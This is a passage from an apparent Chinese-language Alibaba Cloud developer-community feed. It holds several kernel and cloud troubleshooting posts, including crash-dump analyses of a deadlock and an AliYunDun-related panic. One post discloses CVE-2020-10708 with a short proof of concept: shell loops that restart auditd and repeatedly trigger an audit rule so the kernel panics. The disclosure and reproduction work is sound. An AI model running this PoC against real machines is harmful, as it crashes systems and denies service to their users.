                  专有或托管集群的系统组件,如cloud controller manager,metrics server,cluster auto scaler等,使用公网地址或运营商级NAT保留地址(100.64.0.0/10)访问阿里云云产品,这些产品包括但不限于负载均衡SLB,弹性伸缩ESS,对象存储OSS。如果安全组限制了集群访问这些地址,则会导致系统组件功能受损。

                  这个问题的现象,比较常见的有,创建服务的时候,cloud controller manager无法访问集群节点metadata并获取token值。集群节点以及其上的系统组件通过节点绑定的授权角色访问云资源,如访问不到token,会导致权限问题。

                  7.png

                  另外一个现象是,集群无法从阿里云镜像仓库下载容器镜像,导致pod无法创建。在报错中有明显的,访问阿里云镜像仓库的报错。
                  8.png

                  此问题的解决方案,是在限制集群出方向的时候,确保运营商级NAT保留地址100.64.0.0/10网段以及阿里云云服务公网地址被放行。其中运营商保留地址比较容易处理,云服务公网地址比较难处理,原因有两个,一个是集群会访问多个云服务且这些云服务的公网地址有可能会更改,另一个是这些云服务可能使用DNS负载均衡。所以需要多次解析这些服务的url并找出所有ip地址并放行。

                  容器组跨节点通信异常

                  集群创建的时候,会在安全组里添加容器组网段入方向放行规则。有了这个规则,即使容器组网段和VPC网段不一样,容器组在跨节点通信的时候,也不会受到安全组的限制。如果这个默认规则被移除,那么容器组跨节点通信会失败,进而使得多种集群基础功能受损。

                  这个问题的现象,比较常见的有,容器组DNS解析失败,容器组访问集群内部其他服务异常等。如下图,在容器组网段规则被移除之后,从disk controller里访问www.aliyun.com则无法解析域名,telnet coredns的地址不通。地址之所以可以ping通的原因,是安全组默认放行了所有icmp数据。

                  9.png

                  此问题解决方案比较简单,就是重新把容器组地址段加入安全组。这类问题的难点在于,其引起的问题非常多,现象千奇百怪,所以从问题现象定位到容器组跨节点通信,是解决问题的关键一步。

                  结束语

                  这篇文章从三个方面,深入讨论了阿里云ACK产品安全组配置管理。这三个方面分别安全组在集群中扮演的角色,安全组与集群网络,以及常见问题和解决方案。

                  同时通过分析,可以看到ACK产品安全组配置管理的三个重点,分别是集群的外网访问控制,集群容器组之间跨节点访问,以及集群使用多个安全组管理。与这三个重点对于的,就是三类常见的问题。

                  以上总结会在集群创建之前和创建之后,对集群安全组的规划管理有一定指导意义。

                  ]]>
                  记一次内核 deadlock 分析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 除比较常见的内核 panic 与 soft lockup 外,普通的内核死锁可能并不会对操作系统产生致命的影响,例如马上要分析到的这个 case —— 某个运维同学发现在 ECS 上执行 top 并按下 c 后会 hang 住,且无法响应任何命令。
                  经过观察,在 top 中按下 c 是打开/关闭进程启动时的完整命令,由于只是 top 进程 hang,新建一个 shell 可以观察到 top 进程处于 UN 状态,查看 stack 实际上是由于 rwsem_down_read_failed 被调度走了。rwsem_down_read_failed 是尝试读取 rw_semaphore 信号量失败时会调用的函数,因此关键在于这个信号量具体是什么?又是谁拿走了这个信号量?话不多说,直接上 core。

                  信号量地址推导

                  core 里抓到了好几个 UN 状态的 top,随便找一个看,是在从 proc 文件系统中读取 /proc/4424/cmdline

                  crash> bt
                  PID: 28968  TASK: ffff88041a820fb0  CPU: 3   COMMAND: "top"
                   #0 [ffff880387b8bd28] __schedule at ffffffff8168c1a5
                   #1 [ffff880387b8bd90] schedule at ffffffff8168c7f9
                   #2 [ffff880387b8bda0] rwsem_down_read_failed at ffffffff8168e1a5
                   #3 [ffff880387b8be08] call_rwsem_down_read_failed at ffffffff81327618
                   #4 [ffff880387b8be58] down_read at ffffffff8168b980
                   #5 [ffff880387b8be70] proc_pid_cmdline_read at ffffffff8126f712
                   #6 [ffff880387b8bf00] vfs_read at ffffffff811fe86e
                   #7 [ffff880387b8bf38] sys_read at ffffffff811ff43f
                   #8 [ffff880387b8bf80] system_call_fastpath at ffffffff81697809
                      RIP: 00007f83249077e0  RSP: 00007fff1f5c99e8  RFLAGS: 00000246
                      RAX: 0000000000000000  RBX: ffffffff81697809  RCX: ffffffffffffffff
                      RDX: 0000000000020000  RSI: 0000000000c07700  RDI: 0000000000000009
                      RBP: 0000000000020000   R8: 00007f8324866988   R9: 0000000000000012
                      R10: 0000000000000007  R11: 0000000000000246  R12: 0000000000000000
                      R13: 0000000000c07700  R14: 0000000000000000  R15: 0000000000c07700
                      ORIG_RAX: 0000000000000000  CS: 0033  SS: 002b
                  crash> files
                  PID: 28968  TASK: ffff88041a820fb0  CPU: 3   COMMAND: "top"
                  ROOT: /    CWD: /root
                   FD       FILE            DENTRY           INODE       TYPE PATH
                    0 ffff8804c0f47900 ffff88017f80ad80 ffff8807e05a7028 CHR  /dev/tty1
                    1 ffff8804c0f47900 ffff88017f80ad80 ffff8807e05a7028 CHR  /dev/tty1
                    2 ffff8804bfadbc00 ffff88017f80a240 ffff8807e05a4850 CHR  /dev/null
                    3 ffff8804c0f47900 ffff88017f80ad80 ffff8807e05a7028 CHR  /dev/tty1
                    4 ffff8804bfadb400 ffff880449bc18c0 ffff8802e1bad750 REG  /proc/stat
                    5 ffff8804bfadb000 ffff8807dc5bf980 ffff88048fbfdf00 REG  /proc/uptime
                    6 ffff8803d3217200 ffff8807dc5befc0 ffff88048fbfd750 REG  /proc/meminfo
                    7 ffff8800686c5200 ffff8802e290c240 ffff8802e290ae60 REG  /proc/loadavg
                    8 ffff8800686c5000 ffff88017f808240 ffff88017f80c040 DIR  /proc/
                    9 ffff8804bf16c400 ffff8806afc70900 ffff8805366f1f00 REG  /proc/4424/cmdline

                  可以看到是 proc_pid_cmdline_read 在 down_read 的时候失败了,相关代码在 238 行:

                  203 static ssize_t proc_pid_cmdline_read(struct file *file, char __user *buf,
                      204                                      size_t _count, loff_t *pos)
                      205 {
                      206         struct task_struct *tsk;
                      207         struct mm_struct *mm;
                      208         char *page;
                      209         unsigned long count = _count;
                      210         unsigned long arg_start, arg_end, env_start, env_end;
                      211         unsigned long len1, len2, len;
                      212         unsigned long p;
                      213         char c;
                      214         ssize_t rv;
                      215
                      216         BUG_ON(*pos < 0);
                      217
                      218         tsk = get_proc_task(file_inode(file));
                      219         if (!tsk)
                      220                 return -ESRCH;
                      221         mm = get_task_mm(tsk);
                      222         put_task_struct(tsk);
                      223         if (!mm)
                      224                 return 0;
                      225         /* Check if process spawned far enough to have cmdline. */
                      226         if (!mm->env_end) {
                      227                 rv = 0;
                      228                 goto out_mmput;
                      229         }
                      230
                      231         page = (char *)__get_free_page(GFP_TEMPORARY);
                      232         if (!page) {
                      233                 rv = -ENOMEM;
                      234                 goto out_mmput;
                      235         }
                      236
                      237         down_read(&mm->mmap_sem);
                      238         arg_start = mm->arg_start;
                      239         arg_end = mm->arg_end;
                      240         env_start = mm->env_start;
                      241         env_end = mm->env_end;
                      242         up_read(&mm->mmap_sem);
                  ......

                  有多种方法可以找到这里的 &mm->mmap_sem。这里通过汇编和栈中的数据来尝试推导。在调用点附近可以看到,proc_pid_cmdline_read 在调用 down_read 之前,把 mmap_sem 拷贝到了 [rbp-0x60] 中:

                  0xffffffff8126f6eb <proc_pid_cmdline_read+139>: mov    edi,0x800d0
                  0xffffffff8126f6f0 <proc_pid_cmdline_read+144>: call   0xffffffff81185f70 <__get_free_pages>
                  0xffffffff8126f6f5 <proc_pid_cmdline_read+149>: test   rax,rax
                  0xffffffff8126f6f8 <proc_pid_cmdline_read+152>: mov    QWORD PTR [rbp-0x40],rax
                  0xffffffff8126f6fc <proc_pid_cmdline_read+156>: je     0xffffffff8126f9f0 <proc_pid_cmdline_read+912>
                  0xffffffff8126f702 <proc_pid_cmdline_read+162>: lea    rax,[rbx+0x78]
                  0xffffffff8126f706 <proc_pid_cmdline_read+166>: mov    rdi,rax
                  0xffffffff8126f709 <proc_pid_cmdline_read+169>: mov    QWORD PTR [rbp-0x60],rax
                  0xffffffff8126f70d <proc_pid_cmdline_read+173>: call   0xffffffff8168b960 <down_read>
                  0xffffffff8126f712 <proc_pid_cmdline_read+178>: mov    rax,QWORD PTR [rbx+0x128]

                  由于在后续的调用中,proc_pid_cmdline_read 函数的栈帧不会改变,所以将 proc_pid_cmdline_read 函数的栈底减去 0x60 就能得到 mmap_sem 的地址,即 ffff8801f7b151b8

                  #5 [ffff880387b8be70] proc_pid_cmdline_read at ffffffff8126f712
                      ffff880387b8be78: ffff8804bf16c400 0000000000020000
                      ffff880387b8be88: ffff8805366f1f00 ffff8804bf16c410
                      ffff880387b8be98: ffff8801f7b151b8 ffff880387b8bed0
                      ffff880387b8bea8: ffffffff812a9504 0000000000020000
                      ffff880387b8beb8: ffff8804897de000 0000000000000000
                      ffff880387b8bec8: 00000000f38e5979 ffff8804bf16c400
                      ffff880387b8bed8: 0000000000c07700 ffff880387b8bf48
                      ffff880387b8bee8: 0000000000020000 0000000000000009
                      ffff880387b8bef8: ffff880387b8bf30 ffffffff811fe86e

                  信号量的等待队列

                  上一节中找到了 top 等待的信号量 mmap_sem 的地址是 ffff8801f7b151b8,这是一个 rw_semaphore 类型的变量,在内核中这个变量通常用在读多写少的场景。

                  crash> rw_semaphore ffff8801f7b151b8
                  struct rw_semaphore {
                    count = -4294967295,
                    wait_lock = {
                      raw_lock = {
                        {
                          head_tail = 195300260,
                          tickets = {
                            head = 2980,
                            tail = 2980
                          }
                        }
                      }
                    },
                    wait_list = {
                      next = 0xffff8807d9b03dd0,
                      prev = 0xffff8804d1f6bdb0
                    }
                  }

                  在 rw_semaphore 的实现中可以发现,有另一个变量 rwsem_waiter 中的 task 成员会记录等待 rw_semaphore 信号量的进程,而 rw_semaphore.wait_list 就是 rwsem_waiter.list,因此通过 rwsem_waiter 来解析 rw_semaphore.wait_list 可以得到进程等待队列。

                  crash> list rwsem_waiter.list -s  rwsem_waiter.task,type -h 0xffff8807d9b03dd0
                  ffff8807d9b03dd0
                    task = 0xffff880426cbaf10
                    type = RWSEM_WAITING_FOR_WRITE
                  ffff8802d3c17db0
                    task = 0xffff8802b3bd4e70
                    type = RWSEM_WAITING_FOR_READ
                  ffff8807de05fdb0
                    task = 0xffff8802a1e03ec0
                    type = RWSEM_WAITING_FOR_READ
                  ffff88018dbe3db0
                    task = 0xffff88018da3de20
                    type = RWSEM_WAITING_FOR_READ
                  ffff88011032bdb0
                    task = 0xffff8807c1fd3ec0
                    type = RWSEM_WAITING_FOR_READ
                  ffff8804fd3fbdb0
                    task = 0xffff8800ba3f4e70
                    type = RWSEM_WAITING_FOR_READ
                  ffff8807ffd87db0
                    task = 0xffff880012dd8fb0
                    type = RWSEM_WAITING_FOR_READ
                  ffff8801bc5ebdb0
                    task = 0xffff88046094de20
                    type = RWSEM_WAITING_FOR_READ
                  ffff8805c11b7db0
                    task = 0xffff8807bcf8edd0
                    type = RWSEM_WAITING_FOR_READ
                  ......

                  谁拿走了信号量?

                  上一节中获取到的等待 mmap_sem 的队列非常长,足足有一千多个,即有一千多个进程在等待 mmap_sem 而处于 UN 状态。要怎么样才能知道到底是谁拿走了这个信号量呢?换个方向来思考,不难想到不管是等待 mmap_sem 的进程还是已经拿走了 mmap_sem 的进程,它一定像 top 一样是通过 down_read/write 函数来获取的,也一样要经历寄存器传递、将变量压栈的过程,因此它们的内核函数栈帧中应该保留有 mmap_sem 的地址。将所有栈帧中保留有 mmap_sem 地址的进程与等待队列中的进程一对比,就能知道谁是那个占着鸡窝不下蛋的进程了。先从数量上对比,发现堆栈中有 mmap_sem 地址的进程恰好比等待队列中的进程多一个。

                  crash> search -t ffff8801f7b151b8 | grep TASK | wc -l
                  1470
                  crash> list rwsem_waiter.list -s  rwsem_waiter.task -h 0xffff8807d9b03dd0 | grep task | wc -l
                  1469
                  ......

                  顺藤摸瓜不难找到,多出来的进程是 PID 为 4442 的进程

                  crash> bt 4442
                  PID: 4442   TASK: ffff880426cbbec0  CPU: 2   COMMAND: "filebeat"
                   #0 [ffff8807a6643690] __schedule at ffffffff8168c1a5
                   #1 [ffff8807a66436f8] schedule at ffffffff8168c7f9
                   #2 [ffff8807a6643708] schedule_timeout at ffffffff8168a239
                   #3 [ffff8807a66437b0] io_schedule_timeout at ffffffff8168bd9e
                   #4 [ffff8807a66437e0] io_schedule at ffffffff8168be38
                   #5 [ffff8807a66437f0] bt_get at ffffffff812fb915
                   #6 [ffff8807a6643860] blk_mq_get_tag at ffffffff812fbe7f
                   #7 [ffff8807a6643888] __blk_mq_alloc_request at ffffffff812f725b
                   #8 [ffff8807a66438b8] blk_mq_map_request at ffffffff812f96d1
                   #9 [ffff8807a6643928] blk_sq_make_request at ffffffff812fa430
                  #10 [ffff8807a66439b0] generic_make_request at ffffffff812eee69
                  #11 [ffff8807a66439f8] submit_bio at ffffffff812eefb1
                  #12 [ffff8807a6643a50] do_mpage_readpage at ffffffff8123ffed
                  #13 [ffff8807a6643b28] mpage_readpages at ffffffff8124058b
                  #14 [ffff8807a6643bf8] ext4_readpages at ffffffffa01df23c [ext4]
                  #15 [ffff8807a6643c08] __do_page_cache_readahead at ffffffff8118dd2c
                  #16 [ffff8807a6643cc8] ra_submit at ffffffff8118e3c1
                  #17 [ffff8807a6643cd8] filemap_fault at ffffffff811836f5
                  #18 [ffff8807a6643d38] ext4_filemap_fault at ffffffffa01e8016 [ext4]
                  #19 [ffff8807a6643d60] __do_fault at ffffffff811ac83c
                  #20 [ffff8807a6643db0] do_read_fault at ffffffff811accd3
                  #21 [ffff8807a6643e00] handle_mm_fault at ffffffff811b1461
                  #22 [ffff8807a6643e98] __do_page_fault at ffffffff81692cc4
                  #23 [ffff8807a6643ef8] trace_do_page_fault at ffffffff816930a6
                  #24 [ffff8807a6643f38] do_async_page_fault at ffffffff8169274b
                  #25 [ffff8807a6643f50] async_page_fault at ffffffff8168f238
                      RIP: 0000000000adf1f9  RSP: 00007fcefbe06860  RFLAGS: 00010297
                      RAX: 0000000000000004  RBX: 0000000000000000  RCX: 0000000000ad1100
                      RDX: 0000000000000000  RSI: 0000000000000000  RDI: 0000000000000000
                      RBP: 00007fcefbe06b28   R8: 000000c420066080   R9: 000000007fffffff
                      R10: 0000000001a14630  R11: 0000000001e89ee0  R12: 000000c42239cd70
                      R13: 0000000001a14630  R14: 0000000000aea430  R15: 0000000000000000
                      ORIG_RAX: ffffffffffffffff  CS: 0033  SS: 002b

                  这个进程看起来 hang 在了 io 上,通过回溯函数调用可以发现,在 __do_page_fault 函数中曾经获取过 mmap_sem 信号量:

                     1122         if (unlikely(!down_read_trylock(&mm->mmap_sem))) {
                     1123                 if ((error_code & PF_USER) == 0 &&
                     1124                     !search_exception_tables(regs->ip)) {
                     1125                         bad_area_nosemaphore(regs, error_code, address);
                     1126                         return;
                     1127                 }
                     1128 retry:
                     1129                 down_read(&mm->mmap_sem);
                     1130         } else {
                     1131                 /*
                     1132                  * The above down_read_trylock() might have succeeded in
                     1133                  * which case we'll have missed the might_sleep() from
                     1134                  * down_read():
                     1135                  */
                     1136                 might_sleep();
                     1137         }

                  至于为什么 4442 进程一直都没有释放 mmap_sem,经过一番查找后发现应该是踩到了 bt_get 的内核 bug 而一直 hang 在这个函数中:https://lore.kernel.org/lkml/5485BBD2.4040103@acm.org/#Z30::20block:blk-mq-tag.c 。再回过头来看 top 是在读取 /proc/4424/cmdline 时 hang 的,4442 与 4424 同属一个线程组,共享 mm_struct,自然 mmap_sem 也是相同的。在 4424 的进程 down_read(&mm->mmap_sem); 之后,等待队列中的第一个进程 0xffff880426cbaf10 尝试 down_write,而 down_read 和 down_write 是互斥的,导致后续所有请求读 mmap_sem(mm_struct)的进程都进入了等待队列中,也就出现了 top 按 c 后 hang 住的现象。

                  ]]>
                  从 vmcore 中挖掘出的 CVE-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 在某次 kernel panic 的 vmcore 分析中,我发现这可能是一个允许低权限用户或远程攻击者触发的拒绝服务漏洞,经过对调用栈的回溯分析与构造 PoC 验证,并将测试结果提交给 Redhat 后,最终由 Redhat 确认:CVE-2020-10708

                  漏洞原理

                  这是一个存在于 audit 子系统的竞争条件漏洞,漏洞原理比较简单,构造漏洞场景也很简单,我们直接通过 vmcore 来看看是怎么发生的。
                  首先看下 panic 堆栈:

                  crash> bt
                  PID: 22814  TASK: ffff8d1b40ea0fd0  CPU: 1   COMMAND: "audispd"
                   #0 [ffff8d1b69ee3c60] machine_kexec at ffffffff96a60afa
                   #1 [ffff8d1b69ee3cc0] __crash_kexec at ffffffff96b13402
                   #2 [ffff8d1b69ee3d90] panic at ffffffff97107a9b
                   #3 [ffff8d1b69ee3e10] audit_panic at ffffffff96b271e4
                   #4 [ffff8d1b69ee3e28] audit_log_lost at ffffffff96b2722f
                   #5 [ffff8d1b69ee3e40] audit_printk_skb at ffffffff96b2743c
                   #6 [ffff8d1b69ee3e60] audit_log_end at ffffffff96b27692
                   #7 [ffff8d1b69ee3e78] audit_log_exit at ffffffff96b2ce51
                   #8 [ffff8d1b69ee3ee8] __audit_syscall_exit at ffffffff96b2f40d
                   #9 [ffff8d1b69ee3f20] syscall_trace_leave at ffffffff96a395f4
                  #10 [ffff8d1b69ee3f48] int_check_syscall_exit_work at ffffffff9711fac2
                      RIP: 00007fa2967ab170  RSP: 00007ffc7ce357d0  RFLAGS: 00000200
                      RAX: 0000000000000000  RBX: 0000000000000000  RCX: 0000000000000000
                      RDX: 0000000000000000  RSI: 0000000000000000  RDI: 0000000000000000
                      RBP: 0000000000000000   R8: 0000000000000000   R9: 0000000000000000
                      R10: 0000000000000000  R11: 0000000000000000  R12: 0000000000000000
                      R13: 0000000000000000  R14: 0000000000000000  R15: 0000000000000000
                      ORIG_RAX: 000000000000003b  CS: 0033  SS: 002b

                  发生 panic 的函数是:

                  void audit_panic(const char *message)
                  {
                      switch (audit_failure)
                      {
                      case AUDIT_FAIL_SILENT:
                          break;
                      case AUDIT_FAIL_PRINTK:
                          if (printk_ratelimit())
                              printk(KERN_ERR "audit: %sn", message);
                          break;
                      case AUDIT_FAIL_PANIC:
                          /* test audit_pid since printk is always losey, why bother? */
                          if (audit_pid)
                              panic("audit: %sn", message);  // audit_pid != NULL, panic here
                          break;
                      }
                  }

                  这里触发 panic 需要满足两个条件:

                  1. audit_failure 设置成 AUDIT_FAIL_PANIC,AUDIT_FAIL_PANIC 是指示在 audit 失败的时候主动触发 panic;
                  2. audit_pid 不为空,即当前 audit 是启用的。

                  继续回溯发现,在 audit_log_end 中有一处对 audit_pid 的判断:

                  void audit_log_end(struct audit_buffer *ab)
                  {
                      if (!ab)
                          return;
                      if (!audit_rate_check()) {
                          audit_log_lost("rate limit exceeded");
                      } else {
                          struct nlmsghdr *nlh = nlmsg_hdr(ab->skb);
                          nlh->nlmsg_len = ab->skb->len - NLMSG_HDRLEN;
                  
                          if (audit_pid) {
                              skb_queue_tail(&audit_skb_queue, ab->skb);
                              wake_up_interruptible(&kauditd_wait);
                          } else { // audit_pid == NULL 
                              audit_printk_skb(ab->skb);
                          }
                          ab->skb = NULL;
                      }
                      audit_buffer_free(ab);
                  }

                  但这里是在 audit_pid == NULL 时调用 audit_printk_skb,与 audit_panic 中对 audit_pid 的判断结果明显不同,唯一的解释就是:在 audit_log_end 判断 audit_pid 是否为 NULL 时,此时 audit_pid == NULL,进入了 audit_printk_skb,而在这之后,audit_panic 判断 audit_pid 是否为 NULL 之前,由于某些原因(如 auditd 重启),audit_pid 被重新赋值,从而导致 audit_panic 触发 panic。

                  PoC

                  从攻击者的角度来说,要触发 panic 的前提是系统管理员(root)设置过 AUDIT_FAIL_PANIC,即 audit 失败后 panic。其次需要等待一小段的窗口期,并在这个窗口期内触发任意一条 audit 规则。一个典型的场景是,在 auditd 重启时,会经历一段 audit_pid 从 NULL 变成非 NULL 的时间,在这个时间里触发的 audit 规则如果恰好满足两个满足上述描述的 audit_log_end 与 audit_panic 对 audit_pid 的判断时机,就能够触发 panic。这其实是一个非常苛刻的条件,但可以通过循环来提高命中的概率。

                  1. 【需要 root 权限】设置 AUDIT_FAIL_PANIC 并添加一条任意的 audit 规则:
                    `[root@test ~]# cat /etc/audit/rules.d/audit.rules

                  -D
                  -b 8192
                  -f 2
                  -w /etc/hosts -p rwa -k hosts`

                  1. 【需要 root 权限】不断杀死 auditd 进程并启动 auditd,这其实是制造 audit_pid 从 NULL 变成非 NULL 的环境:
                    while true; do ps aux | grep "/sbin/auditd" | grep -v "grep" | awk '{print $2}' | xargs kill; service auditd start; systemctl reset-failed auditd.service; done
                  2. 【不需要 root 权限】不断触发审计规则:
                    while true; do cat /etc/hosts > /dev/null; done
                  3. 等待 panic 发生
                  ]]>
                  云安全中心导致 ECS 宕机?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 AliYunDun 触发内核 panic

                  最近收到几个 ECS 的 panic dump,巧的是都是 AliYunDun 触发的 panic,系统日志几乎都长这样:

                  [148804.194380] BUG: unable to handle kernel paging request at ffffc90001240ffd
                  [148804.195466] IP: [<ffffffff8132bd9d>] strnstr+0x3d/0x70
                  [148804.196215] PGD 13b05a067 PUD 13b05b067 PMD 136baa067 PTE 0
                  [148804.197098] Oops: 0000 [#1] SMP
                  [148804.197608] Modules linked in: ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack libcrc32c br_netfilter bridge stp llc overlay(T) tun edac_core iosf_mbi crc32_pclmul ghash_clmulni_intel aesni_intel lrw gf128mul glue_helper ppdev ablk_helper cryptd virtio_balloon joydev parport_pc pcspkr parport i2c_piix4 ip_tables ext4 mbcache jbd2 ata_generic pata_acpi virtio_net virtio_blk virtio_console cirrus drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops ttm drm ata_piix crct10dif_pclmul crct10dif_common libata crc32c_intel serio_raw virtio_pci virtio_ring virtio i2c_core floppy
                  [148804.207639] CPU: 1 PID: 1487 Comm: AliYunDun Tainted: G           OE  ------------ T 3.10.0-693.2.2.el7.x86_64 #1
                  [148804.209067] Hardware name: Alibaba Cloud Alibaba Cloud ECS, BIOS rel-1.7.5-0-ge51488c-20140602_164612-nilsson.home.kraxel.org 04/01/2014
                  [148804.210751] task: ffff8800b2aa9fa0 ti: ffff8800b2b24000 task.ti: ffff8800b2b24000
                  [148804.211796] RIP: 0010:[<ffffffff8132bd9d>]  [<ffffffff8132bd9d>] strnstr+0x3d/0x70
                  [148804.212870] RSP: 0018:ffff8800b2b27e30  EFLAGS: 00010246
                  [148804.213624] RAX: 0000000000000000 RBX: ffff880136e3e480 RCX: 0000000000000005
                  [148804.214632] RDX: 00000000000000b4 RSI: ffff8800b2b27e42 RDI: ffffc90001240ffd
                  [148804.215628] RBP: ffff8800b2b27e30 R08: 000000000000003a R09: 0000000000000001
                  [148804.216625] R10: 0000000000000000 R11: 000000000000000f R12: 0000000000000000
                  [148804.217623] R13: 0000000000000000 R14: 0000000000000000 R15: ffff880136e3e480
                  [148804.218612] FS:  00007f86eb336700(0000) GS:ffff88013fd00000(0000) knlGS:0000000000000000
                  [148804.219730] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
                  [148804.220540] CR2: ffffc90001240ffd CR3: 00000000b299e000 CR4: 00000000003406e0
                  [148804.221540] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
                  [148804.222545] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
                  [148804.223556] Stack:
                  [148804.223856]  ffff8800b2b27e70 ffffffffc02902a2 00344631303a0000 000000007b4e2e7f
                  [148804.224969]  0000000000000000 ffff88003685af00 ffff8800b2b27f48 ffff8800b9ab2a80
                  [148804.226094]  ffff8800b2b27ee0 ffffffff8122649a 000000007b4e2e7f 0000000001828360
                  [148804.227210] Call Trace:
                  [148804.227606]  [<ffffffff8122649a>] ? seq_read+0x10a/0x3b0
                  [148804.228359]  [<ffffffff8127041d>] ? proc_reg_read+0x3d/0x80
                  [148804.229148]  [<ffffffff81200bac>] ? vfs_read+0x9c/0x170
                  [148804.229885]  [<ffffffff81201a6f>] ? SyS_read+0x7f/0xe0
                  [148804.230611]  [<ffffffff816b5009>] ? system_call_fastpath+0x16/0x1b
                  [148804.231480] Code: c1 01 80 39 00 75 f7 48 29 f1 48 89 f8 74 2e 48 39 ca 72 3f 66 2e 0f 1f 84 00 00 00 00 00 31 c0 66 0f 1f 44 00 00 44 0f b6 04 06 <44> 38 04 07 75 15 48 83 c0 01 48 39 c1 75 ec 48 89 f8 5d c3 0f
                  [148804.235424] RIP  [<ffffffff8132bd9d>] strnstr+0x3d/0x70
                  [148804.236180]  RSP <ffff8800b2b27e30>
                  [148804.236681] CR2: ffffc90001240ffd

                  AliYunDun 是云安全中心的 Agent,几次相同的 panic 日志,不禁让客户和我们浮想联翩~难道是云安全中心出 Bug 了?

                  AliYunDun 在干什么?

                  PID: 1487   TASK: ffff8800b2aa9fa0  CPU: 1   COMMAND: "AliYunDun"
                   #0 [ffff8800b2b27ab0] machine_kexec at ffffffff8105c4cb
                   #1 [ffff8800b2b27b10] __crash_kexec at ffffffff81104a32
                   #2 [ffff8800b2b27be0] crash_kexec at ffffffff81104b20
                   #3 [ffff8800b2b27bf8] oops_end at ffffffff816ad2b8
                   #4 [ffff8800b2b27c20] no_context at ffffffff8169d2ba
                   #5 [ffff8800b2b27c70] __bad_area_nosemaphore at ffffffff8169d350
                   #6 [ffff8800b2b27cb8] bad_area_nosemaphore at ffffffff8169d4ba
                   #7 [ffff8800b2b27cc8] __do_page_fault at ffffffff816b017e
                   #8 [ffff8800b2b27d28] trace_do_page_fault at ffffffff816b03d6
                   #9 [ffff8800b2b27d68] do_async_page_fault at ffffffff816afa6a
                  #10 [ffff8800b2b27d80] async_page_fault at ffffffff816ac578
                      [exception RIP: strnstr+61]
                      RIP: ffffffff8132bd9d  RSP: ffff8800b2b27e30  RFLAGS: 00010246
                      RAX: 0000000000000000  RBX: ffff880136e3e480  RCX: 0000000000000005
                      RDX: 00000000000000b4  RSI: ffff8800b2b27e42  RDI: ffffc90001240ffd
                      RBP: ffff8800b2b27e30   R8: 000000000000003a   R9: 0000000000000001
                      R10: 0000000000000000  R11: 000000000000000f  R12: 0000000000000000
                      R13: 0000000000000000  R14: 0000000000000000  R15: ffff880136e3e480
                      ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018
                  #11 [ffff8800b2b27e78] seq_read at ffffffff8122649a
                  #12 [ffff8800b2b27ee8] proc_reg_read at ffffffff8127041d
                  #13 [ffff8800b2b27f08] vfs_read at ffffffff81200bac
                  #14 [ffff8800b2b27f38] sys_read at ffffffff81201a6f
                  #15 [ffff8800b2b27f80] system_call_fastpath at ffffffff816b5009
                      RIP: 00007f86effc070d  RSP: 00007f86eb335928  RFLAGS: 00000246
                      RAX: 0000000000000000  RBX: ffffffff816b5009  RCX: ffffffffffffffff
                      RDX: 0000000000001fff  RSI: 0000000001828360  RDI: 0000000000000015
                      RBP: 0000000000001fff   R8: 0000000000000000   R9: 0000000001768110
                      R10: 0000000000000000  R11: 0000000000000246  R12: 00007f86eb335a28
                      R13: 00007f86eb335a90  R14: 0000000001828360  R15: 00007f86eb335a28
                      ORIG_RAX: 0000000000000000  CS: 0033  SS: 002b

                  从 panic 堆栈看,当时 AliYunDun 正在通过 read 系统调用尝试读文件,读的文件句柄保存在进入系统调用时的 RDI 寄存器中,即 fd = 0x15,通过句柄找到对应的文件是 /proc/1444/net/tcp6,这只是个普通的 /proc 文件系统下记录 tcp6 连接信息的文件。继续往下通过 VFS 的机制调用了 seq_read 函数,而在 seq_read 中调用 strnstr 时踩到了无效的 kernel 地址 ffffc90001240ffd 触发了 panic,strnstr 是查找子字符串的函数,根据它的函数原型和寄存器的值,ffffc90001240ffd 刚好是传入的第一个字符串指针 s1,而需要查找的子串指针 s2 保存在 RSI 中,这里是:

                  crash> rd ffff8800b2b27e42
                  ffff8800b2b27e42:  2e7f00344631303a                    :01F4...

                  函数调用回溯

                  既然知道触发异常的指针是 caller 传递过来的,那就要一层层向上找这个指针的来源。在 seq_read 中,实际上调用的是函数指针 m->op->show:
                  image.png

                  这里的局部变量 m 实际上是 seq_file 类型:struct seq_file *m = file->private_data;,这个 file 就是 /proc/1444/net/tcp6 的 file 指针,因此可以快速获取到这里的 op 实际上指向 tcp6_seq_afinfo

                  crash> struct file.private_data ffff88003685af00
                    private_data = 0xffff880136e3e480
                  crash> struct seq_file.op 0xffff880136e3e480
                    op = 0xffffffff81ae6698 <tcp6_seq_afinfo+24>

                  而 tcp6_seq_afinfo->show 实际指向的是 tcp6_seq_show

                  static int tcp6_seq_show(struct seq_file *seq, void *v)
                  {
                      struct tcp_iter_state *st;
                      struct sock *sk = v;
                  
                      if (v == SEQ_START_TOKEN) {
                          seq_puts(seq,
                               "  sl  "
                               "local_address                         "
                               "remote_address                        "
                               "st tx_queue rx_queue tr tm->when retrnsmt"
                               "   uid  timeout inoden");
                          goto out;
                      }
                      st = seq->private;
                  
                      switch (st->state) {
                      case TCP_SEQ_STATE_LISTENING:
                      case TCP_SEQ_STATE_ESTABLISHED:
                          if (sk->sk_state == TCP_TIME_WAIT)
                              get_timewait6_sock(seq, v, st->num);
                          else
                              get_tcp6_sock(seq, v, st->num);
                          break;
                      case TCP_SEQ_STATE_OPENREQ:
                          get_openreq6(seq, st->syn_wait_sk, v, st->num, st->uid);
                          break;
                      }
                  out:
                      return 0;
                  }

                  不可能发生的函数调用

                  tcp6_seq_show 函数很短,把所有可能的路径都走一遍发现根本就不会调用到 strnstr。这个情况通常只有两种可能:1. vmcore 解析的 symbol 出错了,这里不是 strnstr 函数而是其他函数;2. 函数回溯的时候出错了,strnstr 是由其他函数调用的。
                  仔细的读者应该发现了,op 实际上指向的并不是 tcp6_seq_afinfo 的起始地址,而是 tcp6_seq_afinfo+24

                  crash> struct seq_file.op 0xffff880136e3e480
